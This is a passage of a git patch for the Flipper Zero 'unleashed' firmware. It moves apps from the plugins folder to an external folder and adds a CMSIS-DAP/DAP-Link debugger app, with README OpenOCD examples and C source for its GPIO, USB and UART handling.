a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c diff --git a/applications/plugins/wifi_marauder_companion/wifi_10px.png b/applications/external/wifi_marauder_companion/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_10px.png rename to applications/external/wifi_marauder_companion/wifi_10px.png diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app.c rename to applications/external/wifi_marauder_companion/wifi_marauder_app.c diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app.h rename to applications/external/wifi_marauder_companion/wifi_marauder_app.h diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h rename to applications/external/wifi_marauder_companion/wifi_marauder_app_i.h diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h rename to applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c rename to applications/external/wifi_marauder_companion/wifi_marauder_uart.c diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h rename to applications/external/wifi_marauder_companion/wifi_marauder_uart.h diff --git a/applications/plugins/wifi_scanner/FlipperZeroWiFiModuleDefines.h b/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h similarity index 100% rename from applications/plugins/wifi_scanner/FlipperZeroWiFiModuleDefines.h rename to applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h diff --git a/applications/plugins/wifi_scanner/application.fam b/applications/external/wifi_scanner/application.fam similarity index 100% rename from applications/plugins/wifi_scanner/application.fam rename to applications/external/wifi_scanner/application.fam diff --git a/applications/plugins/wifi_scanner/wifi_10px.png b/applications/external/wifi_scanner/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_scanner/wifi_10px.png rename to applications/external/wifi_scanner/wifi_10px.png diff --git a/applications/plugins/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c similarity index 100% rename from applications/plugins/wifi_scanner/wifi_scanner.c rename to applications/external/wifi_scanner/wifi_scanner.c diff --git a/applications/plugins/zombiez/application.fam b/applications/external/zombiez/application.fam similarity index 100% rename from applications/plugins/zombiez/application.fam rename to applications/external/zombiez/application.fam diff --git a/applications/plugins/zombiez/zombie_10px.png b/applications/external/zombiez/zombie_10px.png similarity index 100% rename from applications/plugins/zombiez/zombie_10px.png rename to applications/external/zombiez/zombie_10px.png diff --git a/applications/plugins/zombiez/zombiez.c b/applications/external/zombiez/zombiez.c similarity index 100% rename from applications/plugins/zombiez/zombiez.c rename to applications/external/zombiez/zombiez.c diff --git a/applications/plugins/zombiez/zombiez.h b/applications/external/zombiez/zombiez.h similarity index 100% rename from applications/plugins/zombiez/zombiez.h rename to applications/external/zombiez/zombiez.h diff --git a/applications/plugins/dap_link/lib/free-dap b/applications/plugins/dap_link/lib/free-dap deleted file mode 160000 index e7752beb5..000000000 --- a/applications/plugins/dap_link/lib/free-dap +++ /dev/null @@ -1 +0,0 @@ -Subproject commit e7752beb5e8a69119af67b70b9179cb3c90f3ac5 From 05e53cac2647236da455952c643917609c56a1a6 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 14 Mar 2023 20:25:33 +0300 Subject: [PATCH 089/329] Fix merge issues --- .ci_files/anims_ofw.txt | 4 +- ReadMe.md | 4 +- applications/debug/usb_mouse/application.fam | 2 +- applications/external/dap_link/README.md | 105 ++++ applications/external/dap_link/dap_config.h | 234 ++++++++ applications/external/dap_link/dap_link.c | 527 ++++++++++++++++++ applications/external/dap_link/dap_link.h | 55 ++ applications/external/dap_link/gui/dap_gui.c | 92 +++ applications/external/dap_link/gui/dap_gui.h | 4 + .../dap_link/gui/dap_gui_custom_event.h | 7 + .../external/dap_link/gui/dap_gui_i.h | 34 ++ .../gui/scenes/config/dap_scene_config.h | 4 + .../dap_link/gui/scenes/dap_scene_config.c | 107 ++++ .../dap_link/gui/scenes/dap_scene_help.c | 102 ++++ .../dap_link/gui/scenes/dap_scene_main.c | 154 +++++ .../dap_link/gui/views/dap_main_view.c | 189 +++++++ .../dap_link/gui/views/dap_main_view.h | 45 ++ .../dap_link/icons/ActiveConnection_50x64.png | Bin 0 -> 3842 bytes .../dap_link/icons/ArrowUpFilled_12x18.png | Bin 0 -> 173 bytes applications/external/hid_app/application.fam | 8 +- .../external/music_player/application.fam | 2 +- .../external/signal_generator/application.fam | 2 +- 22 files changed, 1670 insertions(+), 11 deletions(-) create mode 100644 applications/external/dap_link/README.md create mode 100644 applications/external/dap_link/dap_config.h create mode 100644 applications/external/dap_link/dap_link.c create mode 100644 applications/external/dap_link/dap_link.h create mode 100644 applications/external/dap_link/gui/dap_gui.c create mode 100644 applications/external/dap_link/gui/dap_gui.h create mode 100644 applications/external/dap_link/gui/dap_gui_custom_event.h create mode 100644 applications/external/dap_link/gui/dap_gui_i.h create mode 100644 applications/external/dap_link/gui/scenes/config/dap_scene_config.h create mode 100644 applications/external/dap_link/gui/scenes/dap_scene_config.c create mode 100644 applications/external/dap_link/gui/scenes/dap_scene_help.c create mode 100644 applications/external/dap_link/gui/scenes/dap_scene_main.c create mode 100644 applications/external/dap_link/gui/views/dap_main_view.c create mode 100644 applications/external/dap_link/gui/views/dap_main_view.h create mode 100644 applications/external/dap_link/icons/ActiveConnection_50x64.png create mode 100644 applications/external/dap_link/icons/ArrowUpFilled_12x18.png diff --git a/.ci_files/anims_ofw.txt b/.ci_files/anims_ofw.txt index 94c61e0ff..a9a6fd241 100644 --- a/.ci_files/anims_ofw.txt +++ b/.ci_files/anims_ofw.txt @@ -134,9 +134,9 @@ Min level: 3 Max level: 3 Weight: 3 -Name: L1_Sleigh_ride_128x64 +Name: L1_Senpai_128x64 Min butthurt: 0 -Max butthurt: 14 +Max butthurt: 5 Min level: 1 Max level: 3 Weight: 4 diff --git a/ReadMe.md b/ReadMe.md index ed31961fa..84b80a1e8 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -211,9 +211,9 @@ Games: ## [- How to use: Unitemp - Temperature sensors reader](https://github.com/quen0n/unitemp-flipperzero#readme) -## [- How to use: [NMEA] GPS](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/applications/plugins/gps_nmea_uart/README.md) +## [- How to use: [NMEA] GPS](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/applications/external/gps_nmea_uart/README.md) -## [- How to use: i2c Tools](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/applications/plugins/flipper_i2ctools/README.md) +## [- How to use: i2c Tools](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/applications/external/flipper_i2ctools/README.md) ## [- How to use: [NRF24] plugins](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/NRF24.md) diff --git a/applications/debug/usb_mouse/application.fam b/applications/debug/usb_mouse/application.fam index bf555c671..38ba55425 100644 --- a/applications/debug/usb_mouse/application.fam +++ b/applications/debug/usb_mouse/application.fam @@ -7,6 +7,6 @@ App( requires=["gui"], stack_size=1 * 1024, order=60, - fap_icon="../../plugins/mousejacker/mouse_10px.png", + fap_icon="../../external/mousejacker/mouse_10px.png", fap_category="Debug", ) diff --git a/applications/external/dap_link/README.md b/applications/external/dap_link/README.md new file mode 100644 index 000000000..aead0a60a --- /dev/null +++ b/applications/external/dap_link/README.md @@ -0,0 +1,105 @@ +# Flipper Zero as CMSIS DAP/DAP Link +Flipper Zero as a [Free-DAP](https://github.com/ataradov/free-dap) based SWD\JTAG debugger. Free-DAP is a free and open source firmware implementation of the [CMSIS-DAP](https://www.keil.com/pack/doc/CMSIS_Dev/DAP/html/index.html) debugger. + +## Protocols +SWD, JTAG , CMSIS-DAP v1 (18 KiB/s), CMSIS-DAP v2 (46 KiB/s), VCP (USB-UART). + +WinUSB for driverless installation for Windows 8 and above. + +## Usage + +### VSCode + Cortex-Debug + Set `"device": "cmsis-dap"` + +
+ BluePill configuration example + + ```json +{ + "name": "Attach (DAP)", + "cwd": "${workspaceFolder}", + "executable": "./build/firmware.elf", + "request": "attach", + "type": "cortex-debug", + "servertype": "openocd", + "device": "cmsis-dap", + "configFiles": [ + "interface/cmsis-dap.cfg", + "target/stm32f1x.cfg", + ], +}, + ``` +
+ +
+ Flipper Zero configuration example + + ```json +{ + "name": "Attach (DAP)", + "cwd": "${workspaceFolder}", + "executable": "./build/latest/firmware.elf", + "request": "attach", + "type": "cortex-debug", + "servertype": "openocd", + "device": "cmsis-dap", + "svdFile": "./debug/STM32WB55_CM4.svd", + "rtos": "FreeRTOS", + "configFiles": [ + "interface/cmsis-dap.cfg", + "./debug/stm32wbx.cfg", + ], + "postAttachCommands": [ + "source debug/flipperapps.py", + ], +}, + ``` +
+ +### OpenOCD +Use `interface/cmsis-dap.cfg`. You will need OpenOCD v0.11.0. + +Additional commands: +* `cmsis_dap_backend hid` for CMSIS-DAP v1 protocol. +* `cmsis_dap_backend usb_bulk` for CMSIS-DAP v2 protocol. +* `cmsis_dap_serial DAP_Oyevoxo` use DAP-Link running on Flipper named `Oyevoxo`. +* `cmsis-dap cmd 81` - reboot connected DAP-Link. + +
+ Flash BluePill + + ``` +openocd -f interface/cmsis-dap.cfg -f target/stm32f1x.cfg -c init -c "program build/firmware.bin reset exit 0x8000000" + ``` +
+ +
+ Flash Flipper Zero using DAP v2 protocol + + ``` +openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_backend usb_bulk" -f debug/stm32wbx.cfg -c init -c "program build/latest/firmware.bin reset exit 0x8000000" + ``` +
+ +
+ Reboot connected DAP-Link on Flipper named Oyevoxo + + ``` +openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_serial DAP_Oyevoxo" -c "transport select swd" -c "adapter speed 4000000" -c init -c "cmsis-dap cmd 81" -c "exit" + ``` +
+ +### PlatformIO +Use `debug_tool = cmsis-dap` and `upload_protocol = cmsis-dap`. [Documentation](https://docs.platformio.org/en/latest/plus/debug-tools/cmsis-dap.html#debugging-tool-cmsis-dap). Remember that Windows 8 and above do not require drivers. + +
+ BluePill platformio.ini example + + ``` +[env:bluepill_f103c8] +platform = ststm32 +board = bluepill_f103c8 +debug_tool = cmsis-dap +upload_protocol = cmsis-dap + ``` +
diff --git a/applications/external/dap_link/dap_config.h b/applications/external/dap_link/dap_config.h new file mode 100644 index 000000000..88b90bd34 --- /dev/null +++ b/applications/external/dap_link/dap_config.h @@ -0,0 +1,234 @@ +// SPDX-License-Identifier: BSD-3-Clause +// Copyright (c) 2022, Alex Taradov . All rights reserved. + +#ifndef _DAP_CONFIG_H_ +#define _DAP_CONFIG_H_ + +/*- Includes ----------------------------------------------------------------*/ +#include + +/*- Definitions -------------------------------------------------------------*/ +#define DAP_CONFIG_ENABLE_JTAG + +#define DAP_CONFIG_DEFAULT_PORT DAP_PORT_SWD +#define DAP_CONFIG_DEFAULT_CLOCK 4200000 // Hz + +#define DAP_CONFIG_PACKET_SIZE 64 +#define DAP_CONFIG_PACKET_COUNT 1 + +#define DAP_CONFIG_JTAG_DEV_COUNT 8 + +// DAP_CONFIG_PRODUCT_STR must contain "CMSIS-DAP" to be compatible with the standard +#define DAP_CONFIG_VENDOR_STR "Flipper Zero" +#define DAP_CONFIG_PRODUCT_STR "Generic CMSIS-DAP Adapter" +#define DAP_CONFIG_SER_NUM_STR usb_serial_number +#define DAP_CONFIG_CMSIS_DAP_VER_STR "2.0.0" + +#define DAP_CONFIG_RESET_TARGET_FN dap_app_target_reset +#define DAP_CONFIG_VENDOR_FN dap_app_vendor_cmd + +// Attribute to use for performance-critical functions +#define DAP_CONFIG_PERFORMANCE_ATTR + +// A value at which dap_clock_test() produces 1 kHz output on the SWCLK pin +// #define DAP_CONFIG_DELAY_CONSTANT 19000 +#define DAP_CONFIG_DELAY_CONSTANT 6290 + +// A threshold for switching to fast clock (no added delays) +// This is the frequency produced by dap_clock_test(1) on the SWCLK pin +#define DAP_CONFIG_FAST_CLOCK 2400000 // Hz + +/*- Prototypes --------------------------------------------------------------*/ +extern char usb_serial_number[16]; + +/*- Implementations ---------------------------------------------------------*/ +extern GpioPin flipper_dap_swclk_pin; +extern GpioPin flipper_dap_swdio_pin; +extern GpioPin flipper_dap_reset_pin; +extern GpioPin flipper_dap_tdo_pin; +extern GpioPin flipper_dap_tdi_pin; + +extern void dap_app_vendor_cmd(uint8_t cmd); +extern void dap_app_target_reset(); +extern void dap_app_disconnect(); +extern void dap_app_connect_swd(); +extern void dap_app_connect_jtag(); + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SWCLK_TCK_write(int value) { + furi_hal_gpio_write(&flipper_dap_swclk_pin, value); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SWDIO_TMS_write(int value) { + furi_hal_gpio_write(&flipper_dap_swdio_pin, value); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_TDI_write(int value) { +#ifdef DAP_CONFIG_ENABLE_JTAG + furi_hal_gpio_write(&flipper_dap_tdi_pin, value); +#else + (void)value; +#endif +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_TDO_write(int value) { +#ifdef DAP_CONFIG_ENABLE_JTAG + furi_hal_gpio_write(&flipper_dap_tdo_pin, value); +#else + (void)value; +#endif +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_nTRST_write(int value) { + (void)value; +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_nRESET_write(int value) { + furi_hal_gpio_write(&flipper_dap_reset_pin, value); +} + +//----------------------------------------------------------------------------- +static inline int DAP_CONFIG_SWCLK_TCK_read(void) { + return furi_hal_gpio_read(&flipper_dap_swclk_pin); +} + +//----------------------------------------------------------------------------- +static inline int DAP_CONFIG_SWDIO_TMS_read(void) { + return furi_hal_gpio_read(&flipper_dap_swdio_pin); +} + +//----------------------------------------------------------------------------- +static inline int DAP_CONFIG_TDO_read(void) { +#ifdef DAP_CONFIG_ENABLE_JTAG + return furi_hal_gpio_read(&flipper_dap_tdo_pin); +#else + return 0; +#endif +} + +//----------------------------------------------------------------------------- +static inline int DAP_CONFIG_TDI_read(void) { +#ifdef DAP_CONFIG_ENABLE_JTAG + return furi_hal_gpio_read(&flipper_dap_tdi_pin); +#else + return 0; +#endif +} + +//----------------------------------------------------------------------------- +static inline int DAP_CONFIG_nTRST_read(void) { + return 0; +} + +//----------------------------------------------------------------------------- +static inline int DAP_CONFIG_nRESET_read(void) { + return furi_hal_gpio_read(&flipper_dap_reset_pin); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SWCLK_TCK_set(void) { + LL_GPIO_SetOutputPin(flipper_dap_swclk_pin.port, flipper_dap_swclk_pin.pin); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SWCLK_TCK_clr(void) { + LL_GPIO_ResetOutputPin(flipper_dap_swclk_pin.port, flipper_dap_swclk_pin.pin); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SWDIO_TMS_in(void) { + LL_GPIO_SetPinMode(flipper_dap_swdio_pin.port, flipper_dap_swdio_pin.pin, LL_GPIO_MODE_INPUT); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SWDIO_TMS_out(void) { + LL_GPIO_SetPinMode(flipper_dap_swdio_pin.port, flipper_dap_swdio_pin.pin, LL_GPIO_MODE_OUTPUT); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_SETUP(void) { + furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); +#ifdef DAP_CONFIG_ENABLE_JTAG + furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); +#endif +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_DISCONNECT(void) { + furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); +#ifdef DAP_CONFIG_ENABLE_JTAG + furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); +#endif + dap_app_disconnect(); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_CONNECT_SWD(void) { + furi_hal_gpio_init( + &flipper_dap_swdio_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_swdio_pin, true); + + furi_hal_gpio_init( + &flipper_dap_swclk_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_swclk_pin, true); + + furi_hal_gpio_init( + &flipper_dap_reset_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_reset_pin, true); + +#ifdef DAP_CONFIG_ENABLE_JTAG + furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); +#endif + dap_app_connect_swd(); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_CONNECT_JTAG(void) { + furi_hal_gpio_init( + &flipper_dap_swdio_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_swdio_pin, true); + + furi_hal_gpio_init( + &flipper_dap_swclk_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_swclk_pin, true); + + furi_hal_gpio_init( + &flipper_dap_reset_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_reset_pin, true); + +#ifdef DAP_CONFIG_ENABLE_JTAG + furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); + + furi_hal_gpio_init( + &flipper_dap_tdi_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(&flipper_dap_tdi_pin, true); +#endif + dap_app_connect_jtag(); +} + +//----------------------------------------------------------------------------- +static inline void DAP_CONFIG_LED(int index, int state) { + (void)index; + (void)state; +} + +//----------------------------------------------------------------------------- +__attribute__((always_inline)) static inline void DAP_CONFIG_DELAY(uint32_t cycles) { + asm volatile("1: subs %[cycles], %[cycles], #1 \n" + " bne 1b \n" + : [cycles] "+l"(cycles)); +} + +#endif // _DAP_CONFIG_H_ diff --git a/applications/external/dap_link/dap_link.c b/applications/external/dap_link/dap_link.c new file mode 100644 index 000000000..eafb435e7 --- /dev/null +++ b/applications/external/dap_link/dap_link.c @@ -0,0 +1,527 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "dap_link.h" +#include "dap_config.h" +#include "gui/dap_gui.h" +#include "usb/dap_v2_usb.h" +#include +#include "dap_link_icons.h" + +/***************************************************************************/ +/****************************** DAP COMMON *********************************/ +/***************************************************************************/ + +struct DapApp { + FuriThread* dap_thread; + FuriThread* cdc_thread; + FuriThread* gui_thread; + + DapState state; + DapConfig config; +}; + +void dap_app_get_state(DapApp* app, DapState* state) { + *state = app->state; +} + +#define DAP_PROCESS_THREAD_TICK 500 + +typedef enum { + DapThreadEventStop = (1 << 0), +} DapThreadEvent; + +void dap_thread_send_stop(FuriThread* thread) { + furi_thread_flags_set(furi_thread_get_id(thread), DapThreadEventStop); +} + +GpioPin flipper_dap_swclk_pin; +GpioPin flipper_dap_swdio_pin; +GpioPin flipper_dap_reset_pin; +GpioPin flipper_dap_tdo_pin; +GpioPin flipper_dap_tdi_pin; + +/***************************************************************************/ +/****************************** DAP PROCESS ********************************/ +/***************************************************************************/ + +typedef struct { + uint8_t data[DAP_CONFIG_PACKET_SIZE]; + uint8_t size; +} DapPacket; + +typedef enum { + DAPThreadEventStop = DapThreadEventStop, + DAPThreadEventRxV1 = (1 << 1), + DAPThreadEventRxV2 = (1 << 2), + DAPThreadEventUSBConnect = (1 << 3), + DAPThreadEventUSBDisconnect = (1 << 4), + DAPThreadEventApplyConfig = (1 << 5), + DAPThreadEventAll = DAPThreadEventStop | DAPThreadEventRxV1 | DAPThreadEventRxV2 | + DAPThreadEventUSBConnect | DAPThreadEventUSBDisconnect | + DAPThreadEventApplyConfig, +} DAPThreadEvent; + +#define USB_SERIAL_NUMBER_LEN 16 +char usb_serial_number[USB_SERIAL_NUMBER_LEN] = {0}; + +const char* dap_app_get_serial(DapApp* app) { + UNUSED(app); + return usb_serial_number; +} + +static void dap_app_rx1_callback(void* context) { + furi_assert(context); + FuriThreadId thread_id = (FuriThreadId)context; + furi_thread_flags_set(thread_id, DAPThreadEventRxV1); +} + +static void dap_app_rx2_callback(void* context) { + furi_assert(context); + FuriThreadId thread_id = (FuriThreadId)context; + furi_thread_flags_set(thread_id, DAPThreadEventRxV2); +} + +static void dap_app_usb_state_callback(bool state, void* context) { + furi_assert(context); + FuriThreadId thread_id = (FuriThreadId)context; + if(state) { + furi_thread_flags_set(thread_id, DAPThreadEventUSBConnect); + } else { + furi_thread_flags_set(thread_id, DAPThreadEventUSBDisconnect); + } +} + +static void dap_app_process_v1() { + DapPacket tx_packet; + DapPacket rx_packet; + memset(&tx_packet, 0, sizeof(DapPacket)); + rx_packet.size = dap_v1_usb_rx(rx_packet.data, DAP_CONFIG_PACKET_SIZE); + dap_process_request(rx_packet.data, rx_packet.size, tx_packet.data, DAP_CONFIG_PACKET_SIZE); + dap_v1_usb_tx(tx_packet.data, DAP_CONFIG_PACKET_SIZE); +} + +static void dap_app_process_v2() { + DapPacket tx_packet; + DapPacket rx_packet; + memset(&tx_packet, 0, sizeof(DapPacket)); + rx_packet.size = dap_v2_usb_rx(rx_packet.data, DAP_CONFIG_PACKET_SIZE); + size_t len = dap_process_request( + rx_packet.data, rx_packet.size, tx_packet.data, DAP_CONFIG_PACKET_SIZE); + dap_v2_usb_tx(tx_packet.data, len); +} + +void dap_app_vendor_cmd(uint8_t cmd) { + // openocd -c "cmsis-dap cmd 81" + if(cmd == 0x01) { + furi_hal_power_reset(); + } +} + +void dap_app_target_reset() { + FURI_LOG_I("DAP", "Target reset"); +} + +static void dap_init_gpio(DapSwdPins swd_pins) { + switch(swd_pins) { + case DapSwdPinsPA7PA6: + flipper_dap_swclk_pin = gpio_ext_pa7; + flipper_dap_swdio_pin = gpio_ext_pa6; + break; + case DapSwdPinsPA14PA13: + flipper_dap_swclk_pin = (GpioPin){.port = GPIOA, .pin = LL_GPIO_PIN_14}; + flipper_dap_swdio_pin = (GpioPin){.port = GPIOA, .pin = LL_GPIO_PIN_13}; + break; + } + + flipper_dap_reset_pin = gpio_ext_pa4; + flipper_dap_tdo_pin = gpio_ext_pb3; + flipper_dap_tdi_pin = gpio_ext_pb2; +} + +static void dap_deinit_gpio(DapSwdPins swd_pins) { + // setup gpio pins to default state + furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); + furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); + furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); + + if(DapSwdPinsPA14PA13 == swd_pins) { + // PA14 and PA13 are used by SWD + furi_hal_gpio_init_ex( + &flipper_dap_swclk_pin, + GpioModeAltFunctionPushPull, + GpioPullDown, + GpioSpeedLow, + GpioAltFn0JTCK_SWCLK); + furi_hal_gpio_init_ex( + &flipper_dap_swdio_pin, + GpioModeAltFunctionPushPull, + GpioPullUp, + GpioSpeedVeryHigh, + GpioAltFn0JTMS_SWDIO); + } else { + furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); + furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); + } +} + +static int32_t dap_process(void* p) { + DapApp* app = p; + DapState* dap_state = &(app->state); + + // allocate resources + FuriHalUsbInterface* usb_config_prev; + app->config.swd_pins = DapSwdPinsPA7PA6; + DapSwdPins swd_pins_prev = app->config.swd_pins; + + // init pins + dap_init_gpio(swd_pins_prev); + + // init dap + dap_init(); + + // get name + const char* name = furi_hal_version_get_name_ptr(); + if(!name) { + name = "Flipper"; + } + snprintf(usb_serial_number, USB_SERIAL_NUMBER_LEN, "DAP_%s", name); + + // init usb + usb_config_prev = furi_hal_usb_get_config(); + dap_common_usb_alloc_name(usb_serial_number); + dap_common_usb_set_context(furi_thread_get_id(furi_thread_get_current())); + dap_v1_usb_set_rx_callback(dap_app_rx1_callback); + dap_v2_usb_set_rx_callback(dap_app_rx2_callback); + dap_common_usb_set_state_callback(dap_app_usb_state_callback); + furi_hal_usb_set_config(&dap_v2_usb_hid, NULL); + + // work + uint32_t events; + while(1) { + events = furi_thread_flags_wait(DAPThreadEventAll, FuriFlagWaitAny, FuriWaitForever); + + if(!(events & FuriFlagError)) { + if(events & DAPThreadEventRxV1) { + dap_app_process_v1(); + dap_state->dap_counter++; + dap_state->dap_version = DapVersionV1; + } + + if(events & DAPThreadEventRxV2) { + dap_app_process_v2(); + dap_state->dap_counter++; + dap_state->dap_version = DapVersionV2; + } + + if(events & DAPThreadEventUSBConnect) { + dap_state->usb_connected = true; + } + + if(events & DAPThreadEventUSBDisconnect) { + dap_state->usb_connected = false; + dap_state->dap_version = DapVersionUnknown; + } + + if(events & DAPThreadEventApplyConfig) { + if(swd_pins_prev != app->config.swd_pins) { + dap_deinit_gpio(swd_pins_prev); + swd_pins_prev = app->config.swd_pins; + dap_init_gpio(swd_pins_prev); + } + } + + if(events & DAPThreadEventStop) { + break; + } + } + } + + // deinit usb + furi_hal_usb_set_config(usb_config_prev, NULL); + dap_common_usb_free_name(); + dap_deinit_gpio(swd_pins_prev); + return 0; +} + +/***************************************************************************/ +/****************************** CDC PROCESS ********************************/ +/***************************************************************************/ + +typedef enum { + CDCThreadEventStop = DapThreadEventStop, + CDCThreadEventUARTRx = (1 << 1), + CDCThreadEventCDCRx = (1 << 2), + CDCThreadEventCDCConfig = (1 << 3), + CDCThreadEventApplyConfig = (1 << 4), + CDCThreadEventAll = CDCThreadEventStop | CDCThreadEventUARTRx | CDCThreadEventCDCRx | + CDCThreadEventCDCConfig | CDCThreadEventApplyConfig, +} CDCThreadEvent; + +typedef struct { + FuriStreamBuffer* rx_stream; + FuriThreadId thread_id; + FuriHalUartId uart_id; + struct usb_cdc_line_coding line_coding; +} CDCProcess; + +static void cdc_uart_irq_cb(UartIrqEvent ev, uint8_t data, void* ctx) { + CDCProcess* app = ctx; + + if(ev == UartIrqEventRXNE) { + furi_stream_buffer_send(app->rx_stream, &data, 1, 0); + furi_thread_flags_set(app->thread_id, CDCThreadEventUARTRx); + } +} + +static void cdc_usb_rx_callback(void* context) { + CDCProcess* app = context; + furi_thread_flags_set(app->thread_id, CDCThreadEventCDCRx); +} + +static void cdc_usb_control_line_callback(uint8_t state, void* context) { + UNUSED(context); + UNUSED(state); +} + +static void cdc_usb_config_callback(struct usb_cdc_line_coding* config, void* context) { + CDCProcess* app = context; + app->line_coding = *config; + furi_thread_flags_set(app->thread_id, CDCThreadEventCDCConfig); +} + +static FuriHalUartId cdc_init_uart( + DapUartType type, + DapUartTXRX swap, + uint32_t baudrate, + void (*cb)(UartIrqEvent ev, uint8_t data, void* ctx), + void* ctx) { + FuriHalUartId uart_id = FuriHalUartIdUSART1; + if(baudrate == 0) baudrate = 115200; + + switch(type) { + case DapUartTypeUSART1: + uart_id = FuriHalUartIdUSART1; + furi_hal_console_disable(); + furi_hal_uart_deinit(uart_id); + if(swap == DapUartTXRXSwap) { + LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_SWAPPED); + } else { + LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_STANDARD); + } + furi_hal_uart_init(uart_id, baudrate); + furi_hal_uart_set_irq_cb(uart_id, cb, ctx); + break; + case 